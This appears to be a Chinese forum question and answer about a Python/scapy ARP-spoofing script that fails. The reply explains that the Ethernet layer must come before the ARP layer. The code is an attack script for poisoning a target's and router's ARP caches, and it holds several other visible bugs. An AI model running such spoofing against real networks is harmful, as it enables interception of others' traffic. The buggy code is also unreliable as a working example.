这部分代码应该使用目标的 IP 地址找到目标的 MAC 地址。
def get_MAC(ip):
pkt_Ether = scapy.Ether(dst='ff:ff:ff:ff:ff')
pkt_ARP = scapy.ARP(pdst=ip)
packet = pkt_ARP / pkt_Ether
ans, unans = scapy.srp(packet, timeout=1, verbose=False) [0]
ans[0][1][ARP].hwsrc = target_mac
return target_mac
有了目标的MAC地址,它应该向目标和路由器发送一个数据包,但我不知道为什么它不起作用。
def spoof(target_ip, spoof_ip):
target_mac = get_MAC(target_ip)
packet = scapy.ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip)
scapy.srp(packet, verbose=False)
我尝试通过调整要执行的程序来使用Python3,但它发送数据包并且它们返回而没有响应。
如果有人可以帮助我...
封装错误。而不是:
packet = pkt_ARP / pkt_Ether
你应该:
packet = pkt_Ether / pkt_ARP
ARP 消息封装在以太网帧中,而不是相反。 L2 PDU(以太网)始终排在第一位。使用您的代码,所有接口都会忽略您发送的数据包。